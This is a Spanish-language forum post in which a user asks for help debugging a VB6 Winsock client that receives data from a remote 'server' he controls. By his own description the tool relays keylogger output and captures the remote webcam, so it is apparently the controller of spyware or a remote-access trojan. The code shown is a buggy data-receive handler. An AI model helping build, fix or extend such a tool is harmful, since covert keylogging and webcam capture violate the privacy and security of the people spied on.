xivan25 escribió:resulta que en el cliente desde el que mando las ordenes a mi servidor en VB6 teniendo este codigo:

Código: Seleccionar todo

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Dim Imagen As String


    
   Winsock1.GetData strData, Imagen, vbString
      Text1.Text = Text1.Text & _
      strData & vbCrLf
      Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
      
End Sub

tengo 2 opciones,la de recibir el keylogger,que va bien y la de capturar la webcam que no se porque me aparece en el Text1.text la palabra Fin indefinidamente y me salta un recuadro pidiendome que seleccione una camara...
Nota:en el Text1.Text es donde recibo el Keylogger del Cliente.Ayudenme porfavor!! Perdon por el repost,no encontraba la seccion vb6